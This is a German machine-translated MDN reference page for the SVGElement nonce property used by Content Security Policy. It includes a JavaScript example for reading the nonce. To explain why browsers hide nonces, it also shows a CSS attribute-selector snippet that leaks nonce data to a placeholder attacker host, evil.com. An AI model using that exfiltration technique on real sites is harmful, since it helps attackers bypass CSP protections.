Dieser Inhalt wurde automatisch aus dem Englischen übersetzt, und kann Fehler enthalten. Erfahre mehr über dieses Experiment.

View in English Always switch to English

SVGElement: nonce-Eigenschaft

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since ⁨März 2022⁩.

Die nonce-Eigenschaft der SVGElement-Schnittstelle gibt die Nonce zurück, die von der Content Security Policy verwendet wird, um zu bestimmen, ob ein bestimmter Abruf durchgeführt werden darf.

Wert

Ein Zeichenfolge; die kryptografische Nonce oder eine leere Zeichenfolge, wenn keine Nonce gesetzt ist.

Beispiele

Abrufen eines Nonce-Wertes

In der Vergangenheit unterstützten nicht alle Browser das nonce IDL-Attribut, daher ist eine Möglichkeit die Verwendung von getAttribute als Fallback:

js
const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");

// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`

Allerdings verbergen neuere Browserversionen nonce-Werte, die auf diese Weise zugegriffen werden (es wird eine leere Zeichenfolge zurückgegeben). Die IDL-Eigenschaft (svg['nonce']) wird der einzige Weg sein, um Noncen zuzugreifen.

Das Verbergen von Noncen hilft, Angreifer daran zu hindern, Nonce-Daten über Mechanismen zu extrahieren, die Daten von Inhaltsattributen wie diesem CSS-Selektor erfassen können:

css
svg[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Spezifikationen

Specification
HTML
# dom-noncedelement-nonce

Browser-Kompatibilität

Siehe auch